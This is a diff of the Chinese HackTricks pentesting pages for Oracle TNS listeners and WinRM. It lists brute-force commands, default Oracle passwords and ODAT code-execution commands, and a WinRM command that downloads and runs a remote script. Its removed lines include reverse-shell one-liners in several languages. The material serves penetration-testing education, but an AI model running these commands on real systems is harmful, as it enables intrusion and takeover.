2. **TNS Listener暴力破解**:有时需要建立通信。
|
||||
3. **SID名称枚举/暴力破解**:发现数据库名称(SID)。
|
||||
4. **凭证暴力破解**:尝试访问已发现的SID。
|
||||
5. **代码执行**:尝试在系统上运行代码。
|
||||
|
||||
要使用MSF oracle模块,您需要安装一些依赖项:[**安装**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## 枚举
|
||||
## 帖子
|
||||
|
||||
可用于此的工具有:nmap、MSF和[tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip)。
|
||||
查看这些帖子:
|
||||
|
||||
### TNS监听器版本
|
||||
```bash
|
||||
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>
|
||||
msf> use auxiliary/scanner/oracle/tnslsnr_version
|
||||
#apt install tnscmd10g
|
||||
tnscmd10g version -p 1521 -h <IP>
|
||||
```
|
||||
其他有用的 TNS 监听器命令:
|
||||
|
||||
| **命令** | **目的** |
|
||||
| ------------ | --------------------------------------------------------------- |
|
||||
| ping | Ping 监听器 |
|
||||
| version | 提供监听器版本和平台信息的输出 |
|
||||
| status | 返回监听器当前状态和使用的变量 |
|
||||
| services | 转储服务数据 |
|
||||
| debug | 将调试信息转储到监听器日志 |
|
||||
| reload | 重新加载监听器配置文件 |
|
||||
| save\_config | 将监听器配置文件写入备份位置 |
|
||||
| stop | 调用监听器关闭 |
|
||||
|
||||
如果你**收到错误**,可能是因为**TNS 版本不兼容**(使用 `tnscmd10` 带上 `--10G` 参数),如果**错误持续存在**,监听器可能**受密码保护**(你可以在这里看到一个列出所有[**详细错误的列表**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7))——别担心……hydra 来救援\*\*:\*\*
|
||||
```
|
||||
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
|
||||
```
|
||||
TNS 监听器可能容易受到 **MitM** 攻击。[点击此处查看如何检查服务器是否容易受到攻击以及如何执行攻击(适用于所有版本,直到 12c 版本)](tns-poison.md)。
|
||||
|
||||
### SID 枚举
|
||||
|
||||
#### **什么是 SID**
|
||||
|
||||
SID(服务标识符)本质上是数据库名称,根据安装情况,您可能有一个或多个默认的 SIDs,或者甚至是完全自定义的 dba 定义的 SID。
|
||||
|
||||
**在一些旧版本中(在 9 版本中有效)**,您可以请求 SID,数据库会将其发送给您:
|
||||
```bash
|
||||
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
|
||||
#msf1
|
||||
msf> use auxiliary/scanner/oracle/sid_enum
|
||||
msf> set rhost <IP>
|
||||
msf> run
|
||||
#msf2
|
||||
msf> use auxiliary/admin/oracle/tnscmd
|
||||
msf> set CMD (CONNECT_DATA=(COMMAND=STATUS))
|
||||
msf> set rhost <IP>
|
||||
msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
|
||||
```
|
||||
如果您无法通过这种方式访问SID,您将需要对它们进行暴力破解:
|
||||
|
||||
**SID 暴力破解**
|
||||
|
||||
我已经将nmap和MSF的sid列表合并到这个列表中(没有重复项):
|
||||
|
||||
{% file src="../../.gitbook/assets/sids-oracle.txt" %}
|
||||
```bash
|
||||
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid
|
||||
patator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505
|
||||
./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt
|
||||
msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt
|
||||
nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
|
||||
```
|
||||
为了使用 **patator** 的 **oracle\_login** 功能,你需要**安装**:
|
||||
```
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
## **针对账户**
|
||||
|
||||
**获得SID了吗?** 很好,现在让我们进行下一个任务,提取用户账户信息。从这一点开始,您可以连接到监听器并暴力破解凭据。
|
||||
|
||||
**Metasploit** _\*\*scanner/oracle/oracle\_login_ 它内置了一个字典,用于**最常见的用户账户信息默认值**,呈现为登录名:密码。顺便说一下,这样的默认条目代表了Oracle中最常见和最严重的安全问题之一。
|
||||
|
||||
**Nmap** 也可以在这里提供帮助,使用脚本 _oracle-brute_。请注意,此脚本**混合了登录名和密码**,即它尝试将每个登录名与每个密码进行匹配,这需要相当长的时间!
|
||||
|
||||
### **默认密码**
|
||||
|
||||
以下是一些与Oracle关联的默认密码:
|
||||
|
||||
* **DBSNMP/DBSNMP** — 智能代理使用它与数据库服务器通信(更改它需要一些工作)
|
||||
* **SYS/CHANGE\_ON\_INSTALL** — 包括Oracle v9之前的默认sysdba账户,从10g版本开始必须不同!
|
||||
* **PCMS\_SYS/PCMS\_SYS** — 默认x账户
|
||||
* **WMSYS/WMSYS** — 默认x账户
|
||||
* **OUTLN/OUTLN** — 默认x账户
|
||||
* **SCOTT/TIGER** — 默认x账户
|
||||
|
||||
其他**默认密码**可以在[这里](http://www.petefinnigan.com/default/oracle\_default\_passwords.htm)和[这里](https://cirt.net/passwords?vendor=Oracle)找到。
|
||||
|
||||
版本11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2和11.2.0.3容易受到**离线暴力破解**的攻击。[**在这里阅读更多关于这种技术的信息。**](remote-stealth-pass-brute-force.md)
|
||||
|
||||
### 用户/密码暴力破解
|
||||
|
||||
不同的工具提供了**不同的oracle用户/密码列表**:
|
||||
|
||||
* **oscan:** _/usr/share/oscanner/accounts.default_ (169行)
|
||||
* **MSF-1:** _来自_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598行)
|
||||
* **MSF-2:** _来自 scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568行)
|
||||
* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687行)
|
||||
|
||||
我已经**混合了**所有这些列表并**移除了重复项**:
|
||||
|
||||
{% file src="../../.gitbook/assets/users-oracle.txt" %}
|
||||
|
||||
{% file src="../../.gitbook/assets/pass-oracle.txt" %}
|
||||
|
||||
### [暴力破解](../../generic-methodologies-and-resources/brute-force.md#oraclesql)
|
||||
|
||||
现在,您**知道了有效的SID和有效的凭据**。要连接到数据库,您需要工具:_**sqlplus**_,并且需要按照一些步骤进行安装:
|
||||
|
||||
[安装](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
使用已知凭据登录:
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
如果 TNS 监听器位于非默认端口(例如 TCP/1522):
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
|
||||
```
|
||||
如果一个**账户具有系统数据库权限(sysdba)或系统操作员(sysop)**,你可能想尝试以下操作:
|
||||
```bash
|
||||
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
|
||||
#Example:
|
||||
sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
|
||||
```
|
||||
## **All in One**
|
||||
|
||||
**一个有趣的工具是 oscanner**,它会尝试获取一些有效的SID,然后它会暴力破解有效凭证并尝试提取一些信息:
|
||||
```bash
|
||||
#apt install oscanner
|
||||
oscanner -s <IP> -P <PORT>
|
||||
```
|
||||
另一个可以完成所有这些任务的工具是 [**odat**](https://github.com/quentinhardy/odat):
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py --help #It shouldn't be problems in Kali
|
||||
./odat.py all -s <IP> -p <PORT>
|
||||
./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
|
||||
```
|
||||
使用这些选项(_-s_ 和 _-p_),ODAT 将在第一步中**搜索有效的 SID**(系统 ID)。您可以配置一些选项来配置方法(例如,单词列表或暴力破解攻击)。默认情况下,ODAT 将使用一个大单词列表,并且它将进行一次小型暴力破解攻击。
|
||||
|
||||
如果 ODAT **至少找到一个 SID**(例如 _ORCL_),它将**搜索有效的 Oracle 账户**。它将对**每个找到的 SID**执行此操作。您可以为凭据指定一些选项(例如,_--accounts-file_、_--accounts-files_、_--login-as-pwd_)。
|
||||
|
||||
对于**每个有效的账户**(例如 _SYS_)**在每个有效的实例**(SID)上,ODAT 将返回**每个 Oracle 用户能做什么**(例如,反向 shell,读取文件,成为 DBA)。
|
||||
|
||||
[**Wiki odat**](https://github.com/quentinhardy/odat/wiki)
|
||||
|
||||
## 远程代码执行
|
||||
|
||||
至少有两种不同的方法可以执行命令,例如使用 Java 程序和 DBMS_SCHEDULER 包。顺便说一下,如果 SQL 注入在一个网络应用程序中,并且运行它的用户有足够的权限,您也可以实现 RCE。在这个阶段,我强烈推荐准备 Oracle 数据库攻击工具:[ODAT](https://github.com/quentinhardy/odat)。
|
||||
|
||||
### 安装 ODAT
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py #It shouldn't be problems in Kali
|
||||
```
|
||||
### 通过Java存储过程执行代码
|
||||
```bash
|
||||
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
|
||||
```
|
||||
[更多详情请见此处](oracle-rce-and-more.md#rce-java-store-procedure)
|
||||
|
||||
### 通过调度器执行代码
|
||||
```bash
|
||||
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
|
||||
```
|
||||
[更多详情](oracle-rce-and-more.md#rce-scheduler)
|
||||
|
||||
### 通过外部表执行代码
|
||||
```bash
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
|
||||
```
|
||||
`ODAT.py` 需要 `CREATE ANY DIRECTORY` 权限,该权限默认只授予 DBA 角色,因为它尝试从任何目录而不仅仅是“你的”目录执行文件(这种攻击的手动版本需要的权限较少)。
|
||||
|
||||
[更多详情点击这里。](oracle-rce-and-more.md#rce-external-tables)
|
||||
|
||||
## 读/写文件
|
||||
```bash
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
[更多详情请见此处](oracle-rce-and-more.md#read-write-files)
|
||||
|
||||
## 提升权限
|
||||
|
||||
[更多详情请见此处](oracle-rce-and-more.md#elevating-privileges)
|
||||
|
||||
您可以使用 odat 的 [privesc](https://github.com/quentinhardy/odat/wiki/privesc) 模块来提升权限。在该链接中,您可以找到**使用 odat 提升权限的多种方式。**
|
||||
```bash
|
||||
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
|
||||
```
|
||||
漏洞在 oracle 10.1.0.3.0 上进行了测试 - 应该适用于 10.1.0.5.0,并且据说适用于 11g。通过 2007 年 10 月 Oracle 关键补丁更新修复。
|
||||
```bash
|
||||
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
|
||||
```
|
||||
## 免费虚拟环境进行测试
|
||||
|
||||
如果您想练习攻击Oracle数据库,最安全的方法是注册Oracle Developer Days Virtualbox VM:
|
||||
|
||||
{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %}
|
||||
|
||||
这篇文章中的大部分信息摘自:[https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) 和 [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
其他有趣的**参考资料**:
|
||||
|
||||
[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks自动命令
|
||||
```
|
||||
|
@ -273,14 +72,14 @@ Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,69 +1,69 @@
|
|||
# 5985,5986 - WinRM渗透测试
|
||||
# 5985,5986 - 渗透测试 WinRM
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) 上**关注**我。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof是所有加密漏洞赏金的家园。**
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**无需延迟获得奖励**\
|
||||
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**在web3渗透测试中获得经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
随时了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows远程管理](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)(WinRM)是一种微软协议,**允许通过HTTP(S)使用SOAP远程管理Windows机器**。在后端,它使用WMI,因此您可以将其视为基于HTTP的WMI API。
|
||||
[Windows 远程管理](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)(WinRM)是微软的协议,**允许使用 SOAP 在 HTTP(S) 上远程管理 Windows 机器**。在后端,它利用 WMI,因此您可以将其视为基于 HTTP 的 WMI API。
|
||||
|
||||
如果机器上启用了WinRM,则可以轻松地从PowerShell远程管理该机器。实际上,您可以像使用SSH一样进入机器上的远程PowerShell会话!
|
||||
如果在计算机上启用了 WinRM,则可以轻松地从 PowerShell 远程管理计算机。实际上,您可以像使用 SSH 一样直接进入计算机上的远程 PowerShell 会话!
|
||||
|
||||
检测WinRM是否可用的最简单方法是查看端口是否打开。WinRM将监听以下两个端口:
|
||||
检测 WinRM 是否可用的最简单方法是查看端口是否打开。WinRM 将监听以下两个端口:
|
||||
|
||||
* **5985/tcp(HTTP)**
|
||||
* **5986/tcp(HTTPS)**
|
||||
|
||||
如果其中一个端口打开,表示已配置WinRM,您可以尝试进入远程会话。
|
||||
如果其中一个端口打开,表示 WinRM 已配置,您可以尝试进入远程会话。
|
||||
|
||||
## **启动WinRM会话**。
|
||||
## **启动 WinRM 会话**。
|
||||
|
||||
我们可以配置PowerShell与WinRM一起工作。根据Microsoft的文档,Enable-PSRemoting是一个配置计算机以接收PowerShell远程命令的cmdlet。如果我们可以在受害者上访问提升的PowerShell提示符,我们可以启用它并将任何"攻击者"添加为受信任的主机。我们可以运行以下两个命令:
|
||||
我们可以配置 PowerShell 与 WinRM 一起工作。根据 Microsoft 文档,Enable-PSRemoting 是一个配置计算机接收 PowerShell 远程命令的 cmdlet。如果我们可以在受害者的提升的 PowerShell 提示符上访问,我们可以启用它并将任何“攻击者”添加为受信任的主机。我们可以运行以下两个命令:
|
||||
```
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
这将在trustedhosts设置中添加通配符。请注意其中的含义。注意:我还必须将攻击机器上的网络类型从“公共”更改为“工作”网络。
|
||||
这将通配符添加到trustedhosts设置中。要注意这意味着什么。 _注意:我还必须将攻击机器上的网络类型从"Public"更改为"Work"网络。_
|
||||
|
||||
您还可以使用wmic远程激活WinRM。
|
||||
您还可以**远程**使用_wmic_**激活**WinRM:
|
||||
```
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
### 测试是否已配置
|
||||
|
||||
一旦攻击机器已配置好,使用`Test-WSMan`函数来测试目标是否已配置为WinRM。您应该会看到一些关于协议版本和wsmid的返回信息:
|
||||
一旦攻击机器配置完成,使用`Test-WSMan`函数来测试目标是否已配置为WinRM。您应该会看到有关协议版本和wsmid的一些返回信息:
|
||||
|
||||
![](<../.gitbook/assets/image (161) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (162).png>)
|
||||
|
||||
在这个例子中,第一个已经配置好了,而第二个没有。
|
||||
在这种情况下,第一个已配置,第二个未配置。
|
||||
|
||||
### 执行命令
|
||||
|
||||
|
@ -73,73 +73,21 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
|||
```
|
||||
![](<../.gitbook/assets/image (163) (1).png>)
|
||||
|
||||
您还可以通过**Invoke-Command**在当前的PS控制台中执行命令。假设您在本地有一个名为**enumeration**的函数,并且您想在远程计算机上执行它,您可以这样做:
|
||||
您还可以通过**Invoke-Command**执行当前PS控制台的命令。假设您本地有一个名为**enumeration**的函数,并且您想在远程计算机上执行它,您可以执行以下操作:
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### 执行脚本
|
||||
|
||||
To execute a script on a target machine through WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote computers.
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock {<script>}
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
|
||||
|
||||
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.1.100`, you would use the following command:
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {C:\path\to\script.ps1}
|
||||
```
|
||||
|
||||
Make sure to provide the correct path to the script on the target machine.
|
||||
|
||||
Note that you may need to authenticate with valid credentials to execute the script successfully.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### 获取反向Shell
|
||||
|
||||
To get a reverse shell, you can use the following methods:
|
||||
|
||||
#### Method 1: Netcat
|
||||
|
||||
1. Start a listener on your machine: `nc -lvp <port>`.
|
||||
2. Execute the following command on the target machine: `nc <your_ip> <port> -e /bin/bash`.
|
||||
|
||||
#### Method 2: PowerShell
|
||||
|
||||
1. Start a listener on your machine: `nc -lvp <port>`.
|
||||
2. Execute the following command on the target machine: `powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`.
|
||||
|
||||
#### Method 3: Python
|
||||
|
||||
1. Start a listener on your machine: `nc -lvp <port>`.
|
||||
2. Execute the following command on the target machine: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`.
|
||||
|
||||
#### Method 4: Ruby
|
||||
|
||||
1. Start a listener on your machine: `nc -lvp <port>`.
|
||||
2. Execute the following command on the target machine: `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<your_ip>",<port>);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`.
|
||||
|
||||
#### Method 5: PHP
|
||||
|
||||
1. Start a listener on your machine: `nc -lvp <port>`.
|
||||
2. Execute the following command on the target machine: `php -r '$sock=fsockopen("<your_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'`.
|
||||
|
||||
#### Method 6: Telnet
|
||||
|
||||
1. Start a listener on your machine: `nc -lvp <port>`.
|
||||
2. Execute the following command on the target machine: `telnet <your_ip> <port> | /bin/bash | telnet <your_ip> <port>`.
|
||||
|
||||
Remember to replace `<your_ip>` with your machine's IP address and `<port>` with the desired port number.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### 获取一个PS会话
|
||||
|
||||
或者,如果你想直接进入一个交互式的PowerShell会话,可以使用`Enter-PSSession`函数:
|
||||
或者,如果你想直接进入一个交互式PowerShell会话,可以使用`Enter-PSSession`函数:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -160,9 +108,9 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
|
||||
**会话将在“受害者”内的新进程(wsmprovhost)中运行**
|
||||
|
||||
### **强制打开WinRM**
|
||||
### **强制打开 WinRM**
|
||||
|
||||
如果您真的想使用PS Remoting和WinRM,但目标没有配置它,您可以通过一个命令来“强制”打开它。我不建议这样做,但如果您真的想使用WinRM或PSRemoting,那么可以这样做。例如,使用PSExec:
|
||||
如果您真的想要使用 PS Remoting 和 WinRM,但目标没有为此进行配置,您可以通过一个命令“强制”打开它。我不建议这样做,但如果您真的想要使用 WinRM 或 PSRemoting,那么尽管这样做。例如,使用 PSExec:
|
||||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
|
@ -170,7 +118,7 @@ PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p
|
|||
|
||||
### 保存和恢复会话
|
||||
|
||||
如果远程计算机的语言受限,则此方法**无法正常工作**。
|
||||
如果远程计算机中的语言受限,这将**无法工作**。
|
||||
```ruby
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -182,7 +130,7 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
|||
#And restore it at any moment doing
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
在这个会话中,您可以使用_Invoke-Command_加载PS脚本。
|
||||
在这些会话中,您可以使用_Invoke-Command_加载PS脚本。
|
||||
```ruby
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
|
@ -190,35 +138,33 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
如果你遇到以下错误:
|
||||
|
||||
`enter-pssession : 连接到远程服务器 10.10.10.175 失败,错误信息如下:WinRM 客户端无法处理请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输或将目标机器添加到 TrustedHosts 配置设置中。使用 winrm.cmd 来配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。你可以通过运行以下命令获取更多信息:winrm help config。有关更多信息,请参阅 about_Remote_Troubleshooting 帮助主题。`
|
||||
